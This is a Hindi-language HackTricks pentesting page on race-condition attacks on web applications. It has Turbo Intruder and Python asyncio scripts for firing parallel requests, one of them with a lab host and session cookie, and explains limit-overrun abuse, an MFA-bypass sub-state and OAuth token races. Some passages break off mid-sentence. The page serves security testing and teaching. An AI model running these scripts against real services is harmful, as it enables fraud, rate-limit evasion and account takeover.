hacktricks/pentesting-web/race-condition.md

34 KiB

रेस कंडीशन


Trickest का उपयोग करके आसानी से वर्कफ्लोज़ को बिल्ड और ऑटोमेट करें जो दुनिया के सबसे उन्नत समुदाय टूल्स द्वारा संचालित होते हैं।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक!

HackTricks का समर्थन करने के अन्य तरीके:

RC का शोषण

RC का दुरुपयोग करने की मुख्य समस्या यह है कि आपको अनुरोधों को समानांतर रूप से बहुत कम समय अंतराल (आमतौर पर >1ms) के साथ संसाधित करने की आवश्यकता होती है। निम्नलिखित खंड में, इसे संभव बनाने के लिए विभिन्न समाधान प्रस्तावित किए गए हैं।

सिंगल-पैकेट अटैक (HTTP/2) / लास्ट-बाइट सिंक (HTTP/1.1)

HTTP2 एक ही TCP कनेक्शन में 2 अनुरोध भेजने की अनुमति देता है (जबकि HTTP/1.1 में उन्हें क्रमिक होना चाहिए)।
एक ही TCP पैकेट का उपयोग नेटवर्क जिटर के प्रभाव को पूरी तरह से समाप्त कर देता है, इसलिए इसमें रेस कंडीशन हमलों के लिए भी संभावना है। हालांकि, दो अनुरोध पर्याप्त नहीं हैं एक विश्वसनीय रेस अटैक के लिए क्योंकि सर्वर-साइड जिटर - अनियंत्रित चर के कारण एप्लिकेशन के अनुरोध-संसाधन समय में भिन्नता।

लेकिन, HTTP/1.1 की 'लास्ट-बाइट सिंक' तकनीक का उपयोग करके यह संभव है कि प्रत्येक अनुरोध के बड़े हिस्से को पहले भेजा जाए और फिर 20-30 अनुरोधों को एक ही TCP पैकेट के साथ 'पूरा' किया जाए

प्रत्येक अनुरोध के बड़े हिस्से को पहले भेजने के लिए:

  • यदि अनुरोध में कोई बॉडी नहीं है, तो सभी हेडर्स भेजें, लेकिन END_STREAM फ्लैग सेट न करें। END_STREAM सेट के साथ एक खाली डेटा फ्रेम रोकें।
  • यदि अनुरोध में एक बॉडी है, तो हेडर्स और अंतिम बाइट को छोड़कर सभी बॉडी डेटा भेजें। अंतिम बाइट वाले डेटा फ्रेम को रोकें।

अगला, अंतिम फ्रेम्स भेजने की तैयारी करें:

  • प्रारंभिक फ्रेम्स भेजे जाने की पुष्टि के लिए 100ms प्रतीक्षा करें।
  • सुनिश्चित करें कि TCP_NODELAY अक्षम है - यह महत्वपूर्ण है कि नेगल का एल्गोरिथम अंतिम फ्रेम्स को बैच करे।
  • स्थानीय कनेक्शन को गर्म करने के लिए एक पिंग पैकेट भेजें। यदि आप ऐसा नहीं करते हैं, तो OS नेटवर्क स्टैक पहले अंतिम-फ्रेम को एक अलग पैकेट में रख देगा।

अंत में, रोके गए फ्रेम्स भेजें। आपको Wireshark का उपयोग करके यह सत्यापित करने में सक्षम होना चाहिए कि वे एक ही पैकेट में उतरे।

{% hint style="info" %} ध्यान दें कि यह स्थिर फाइलों के लिए काम नहीं करता कुछ सर्वरों पर लेकिन स्थिर फाइलें RC हमलों के लिए प्रासंगिक नहीं हैं। {% endhint %}

इस तकनीक का उपयोग करके, आप 20-30 अनुरोधों को सर्वर पर एक साथ पहुंचा सकते हैं - नेटवर्क जिटर के बावजूद:

लक्ष्य आर्किटेक्चर के अनुसार अनुकूलन

यह ध्यान देने योग्य है कि कई एप्लिकेशन एक फ्रंट-एंड सर्वर के पीछे होते हैं, और ये कुछ अनुरोधों को मौजूदा कनेक्शनों के माध्यम से बैक-एंड को आगे भेजने का निर्णय ले सकते हैं, और दूसरों के लिए ताजा कनेक्शन बना सकते हैं।

नतीजतन, यह महत्वपूर्ण है कि अनुरोध समय की असंगति को एप्लिकेशन व्यवहार के रूप में न माना जाए, जैसे कि लॉकिंग मैकेनिज्म जो केवल एक ही थ्रेड को एक बार में संसाधन तक पहुंचने की अनुमति देते हैं। साथ ही, फ्रंट-एंड अनुरोध रूटिंग अक्सर प्रति-कनेक्शन आधार पर की जाती है, इसलिए आप सर्वर-साइड कनेक्शन वार्मिंग करके अनुरोध समय को सुचारू कर सकते हैं - हमला करने से पहले अपने कनेक्शन डाउन कुछ अप्रासंगिक अनुरोध भेजना (यह सिर्फ हमला शुरू करने से पहले कई अनुरोध भेजना है))।

सत्र-आधारित लॉकिंग मैकेनिज्म

कुछ फ्रेमवर्क गलती से डेटा भ्रष्टाचार को रोकने के लिए अनुरोध लॉकिंग के किसी रूप का उपयोग करते हैं। उदाहरण के लिए, PHP का नेटिव सत्र हैंडलर मॉड्यूल एक समय में केवल एक अनुरोध प्रति सत्र संसाधित करता है।

इस प्रकार के व्यवहार को पहचानना अत्यंत महत्वपूर्ण है क्योंकि अन्यथा यह सरलता से शोषण योग्य कमजोरियों को छिपा सकता है। यदि आप देखते हैं कि आपके सभी अनुरोध क्रमिक रूप से संसाधित किए जा रहे हैं, तो प्रत्येक को एक अलग सत्र टोकन का उपयोग करके भेजने का प्रयास करें।

दर या संसाधन सीमाओं का दुरुपयोग

यदि कनेक्शन वार्मिंग कोई अंतर नहीं बनाती है, तो इस समस्या के विभिन्न समाधान हैं।

Turbo Intruder का उपयोग करके, आप एक छोटी क्ल

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} यदि वेब HTTP2 का समर्थन नहीं करता है (केवल HTTP1.1) तो Engine.THREADED या Engine.BURP का उपयोग Engine.BURP2 के बजाय करें। {% endhint %}

  • Tubo Intruder - HTTP2 एकल-पैकेट हमला (कई endpoints): यदि आपको 1 endpoint पर एक अनुरोध भेजने की आवश्यकता है और फिर RCE को ट्रिगर करने के लिए अन्य endpoints पर कई अनुरोध भेजने हैं, तो आप race-single-packet-attack.py स्क्रिप्ट को कुछ इस तरह बदल सकते हैं:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • यह Repeater में भी उपलब्ध है, Burp Suite में नए 'Send group in parallel' विकल्प के माध्यम से।
  • limit-overrun के लिए आप समूह में वही अनुरोध 50 बार जोड़ सकते हैं।
  • connection warming के लिए, आप समूह की शुरुआत में वेब सर्वर के किसी गैर स्थिर भाग के लिए कुछ अनुरोध जोड़ सकते हैं।
  • देरी करने के लिए, एक अनुरोध और दूसरे के बीच प्रक्रिया को दो उप-स्थितियों के चरणों में विभाजित करने के लिए, आप दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं।
  • एक multi-endpoint RC के लिए आप अनुरोध भेजना शुरू कर सकते हैं जो छिपी स्थिति में जाता है और फिर उसके तुरंत बाद 50 अनुरोध जो छिपी स्थिति का लाभ उठाते हैं

Raw BF

पिछले शोध से पहले ये कुछ payloads थे जिनका उपयोग केवल पैकेट्स को यथासंभव तेजी से भेजने के लिए किया जाता था ताकि RC का कारण बन सके।

  • Repeater: पिछले अनुभाग से उदाहरणों की जांच करें।
  • Intruder: अनुरोध को Intruder में भेजें, Options menu में धागों की संख्या को 30 पर सेट करें, और Null payloads के रूप में payload चुनें और 30 उत्पन्न करें।
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC पद्धति

सीमा-अतिक्रमण / TOCTOU

यह सबसे मूल प्रकार की रेस कंडीशन है जहां भेद्यताएं उन स्थानों पर प्रकट होती हैं जो आपको किसी क्रिया को करने की संख्या को सीमित करती हैं। जैसे कि एक वेब स्टोर में एक ही डिस्काउंट कोड का कई बार उपयोग करना। एक बहुत ही आसान उदाहरण इस रिपोर्ट या इस बग में पाया जा सकता है।

इस प्रकार के हमले के कई रूप होते हैं, जिसमें शामिल हैं:

  • एक गिफ्ट कार्ड को कई बार रिडीम करना
  • एक उत्पाद को कई बार रेटिंग देना
  • अपने खाते की शेष राशि से अधिक नकद निकासी या स्थानांतरण करना
  • एक ही CAPTCHA समाधान का पुन: उपयोग करना
  • एक एंटी-ब्रूट-फोर्स रेट सीमा को बायपास करना

छिपे हुए उप-स्थितियां

अन्य अधिक जटिल RC मशीन की स्थिति में उप-स्थितियों का शोषण करेगा जो हमलावर को उन स्थितियों का दुरुपयोग करने की अनुमति दे सकता है जिन तक उसे कभी भी पहुंचने का इरादा नहीं था, लेकिन हमलावर के लिए इस तक पहुंचने का एक छोटा अवसर होता है।

  1. संभावित छिपे हुए और दिलचस्प उप-स्थितियों की भविष्यवाणी करें

पहला कदम उन सभी एंडपॉइंट्स की पहचान करना है जो या तो इसमें लिखते हैं, या इससे डेटा पढ़ते हैं और फिर उस डेटा का उपयोग कुछ महत्वपूर्ण के लिए करते हैं। उदाहरण के लिए, उपयोगकर्ता एक डेटाबेस तालिका में संग्रहीत हो सकते हैं जिसे पंजीकरण, प्रोफ़ाइल-संपादन, पासवर्ड रीसेट प्रारंभ, और पासवर्ड रीसेट पूर्णता द्वारा संशोधित किया जाता है।

हम उन एंडपॉइंट्स को बाहर करने के लिए तीन मुख्य प्रश्नों का उपयोग कर सकते हैं जो संघर्ष का कारण बनने की संभावना नहीं है। प्रत्येक ऑब्जेक्ट और संबंधित एंडपॉइंट्स के लिए पूछें:

  • स्थिति कैसे संग्रहीत की जाती है?

डेटा जो एक स्थायी सर्वर-साइड डेटा संरचना में संग्रहीत होता है, शोषण के लिए आदर्श है। कुछ एंडपॉइंट्स अपनी स्थिति पूरी तरह से क्लाइंट-साइड पर संग्रहीत करते हैं, जैसे कि पासवर्ड रीसेट जो एक JWT ईमेल करके काम करते हैं - इन्हें सुरक्षित रूप से छोड़ा जा सकता है।

अनुप्रयोग अक्सर कुछ स्थिति को उपयोगकर्ता सत्र में संग्रहीत करते हैं। ये अक्सर उप-स्थितियों के खिलाफ कुछ हद तक संरक्षित होते हैं - इस पर बाद में और अधिक।

  • क्या हम संपादन कर रहे हैं या जोड़ रहे हैं?

मौजूदा डेटा को संपादित करने वाले ऑपरेशन (जैसे कि एक खाते के प्राथमिक ईमेल पते को बदलना) में संघर्ष की प्रचुर संभावना होती है, जबकि केवल मौजूदा डेटा में जोड़ने वाली क्रियाएं (जैसे कि एक अतिरिक्त ईमेल पता जोड़ना) सीमा-अतिक्रमण हमलों के अलावा किसी अन्य चीज के लिए संवेदनशील नहीं होने की संभावना है।

  • ऑपरेशन किस पर कीड़ है?

अधिकांश एंडपॉइंट्स एक विशिष्ट रिकॉर्ड पर काम करते हैं, जिसे 'की' का उपयोग करके देखा जाता है, जैसे कि एक उपयोगकर्ता नाम, पासवर्ड रीसेट टोकन, या फ़ाइल नाम। एक सफल हमले के लिए, हमें दो ऑपरेशनों की आवश्यकता होती है जो एक ही की का उपयोग करते हैं। उदाहरण के लिए, दो संभावित पासवर्ड रीसेट कार्यान्वयनों की कल्पना करें:

  1. सुराग के लिए जांच करें

इस बिंदु पर यह समय है कि संभावित दिलचस्प एंडपॉइंट्स पर कुछ RC हमलों को लॉन्च किया जाए ताकि नियमित वालों की तुलना में अप्रत्याशित परिणामों की खोज की जा सके। अपेक्षित प्रतिक्रिया से कोई भी विचलन जैसे कि एक या अधिक प्रतिक्रियाओं में परिवर्तन, या दूसरे-क्रम का प्रभाव जैसे कि अलग ईमेल सामग्री या आपके सत्र में दृश्यमान परिवर्तन, यह संकेत हो सकता है कि कुछ गलत है।

  1. संकल्पना को सिद्ध करें

अंतिम कदम संकल्पना को सिद्ध करना और इसे एक व्यवहार्य हमले में बदलना है।

जब आप एक बैच की अनुरोध भेजते हैं, तो आप पा सकते हैं कि एक प्रारंभिक अनुरोध जोड़ी एक भेद्य अंत-स्थिति को ट्रिगर करती है, लेकिन बाद के अनुरोध इसे ओवरराइट/अमान्य कर देते हैं और अंतिम स्थिति शोषण योग्य नहीं होती है। इस परिदृश्य में, आप अनावश्यक अनुरोधों को समाप्त करना चाहेंगे - अधिकांश भेद्यताओं का शोषण करने के लिए दो पर्याप्त होने चाहिए। हालांकि, दो अनुरोधों तक गिरने से हमला अधिक समय-संवेदनशील हो जाएगा, इसलिए आपको हमले को कई बार पुनः प्रयास करने की आवश्यकता हो सकती है या इसे स्वचालित करना पड़ सकता है।

समय संवेदनशील हमले

कभी-कभी आपको रेस कंडीशन नहीं मिल सकती है, लेकिन सटीक समय के साथ अनुरोध भेजने की तकनीकें अन्य भेद्यताओं की उपस्थिति को प्रकट कर सकती हैं।

एक ऐसा उदाहरण है जब उच्च-रिज़ॉल्यूशन टाइमस्टैम्प्स का उपयोग क्रिप्टोग्राफिकली सुरक्षित रैंडम स्ट्रिंग्स के बजाय सुरक्षा टोकन उत्पन्न करने के लिए किया जाता है।

एक पासवर्ड रीसेट टोकन की कल्पना करें जो केवल एक टाइमस्टैम्प का उपयोग करके रैंडमाइज़ किया गया है। इस मामले में, यह संभव हो सकता है कि दो अलग-अलग उपयोगकर्ताओं के लिए दो पासवर्ड रीसेट ट्रिगर किए जाएं, जो दोनों एक ही टोकन का

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

जैसा कि आप देख सकते हैं, यह वास्तव में एक एकल अनुरोध के दायरे में एक बहु-चरणीय क्रम है। सबसे महत्वपूर्ण बात, यह एक उप-स्थिति के माध्यम से संक्रमण करता है जिसमें उपयोगकर्ता के पास अस्थायी रूप से एक मान्य लॉग-इन सत्र होता है, लेकिन MFA अभी तक लागू नहीं किया गया है। एक हमलावर इसका फायदा उठा सकता है एक लॉगिन अनुरोध के साथ-साथ एक संवेदनशील, प्रमाणित एंडपॉइंट के लिए एक अनुरोध भेजकर।

OAuth2 अनंत परिपालन

कई OAuth प्रदाता हैं। ये सेवाएं आपको एक एप्लिकेशन बनाने और उन उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी जिन्हें प्रदाता ने पंजीकृत किया है। ऐसा करने के लिए, क्लाइंट को OAuth प्रदाता के अंदर अपने डेटा के कुछ हिस्से तक पहुंचने के लिए आपके एप्लिकेशन को अनुमति देनी होगी
तो, यहां तक कि एक सामान्य लॉगिन के साथ google/linkdin/github... जहां आपको एक पृष्ठ के साथ संकेत दिया जाता है: "एप्लिकेशन <InsertCoolName> आपकी जानकारी तक पहुंचना चाहता है, क्या आप इसे अनुमति देना चाहते हैं?"

authorization_code में रेस कंडीशन

समस्या तब प्रकट होती है जब आप इसे स्वीकार करते हैं और स्वचालित रूप से एक authorization_code दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह एप्लिकेशन OAuth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करके आपके खाते के लिए authorization_code से एक से अधिक AT/RT (Authentication Token/Refresh Token) उत्पन्न करता है। मूल रूप से, यह आपके डेटा तक पहुंचने के लिए एप्लिकेशन को स्वीकार करने की तथ्य का दुरुपयोग करेगा और कई खाते बनाएगा। फिर, यदि आप एप्लिकेशन को अपने डेटा तक पहुंचने की अनुमति देना बंद कर देते हैं तो एक जोड़ी AT/RT हटा दी जाएगी, लेकिन अन्य अभी भी मान्य रहेंगे

Refresh Token में रेस कंडीशन

एक बार जब आप एक मान्य RT प्राप्त कर लेते हैं तो आप कई AT/RT उत्पन्न करने के लिए इसका दुरुपयोग करने की कोशिश कर सकते हैं और यहां तक कि अगर उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन को अपने डेटा तक पहुंचने की अनुमति रद्द कर देता है, कई RT अभी भी मान्य रहेंगे।

WebSockets में RC

WS_RaceCondition_PoC में आप समानांतर में websocket संदेश भेजने के लिए Java में एक PoC पा सकते हैं ताकि Web Sockets में भी Race Conditions का दुरुपयोग किया जा सके

संदर्भ

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:


Trickest का उपयोग करके दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ्लो को आसानी से बनाएं और स्वचालित करें
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}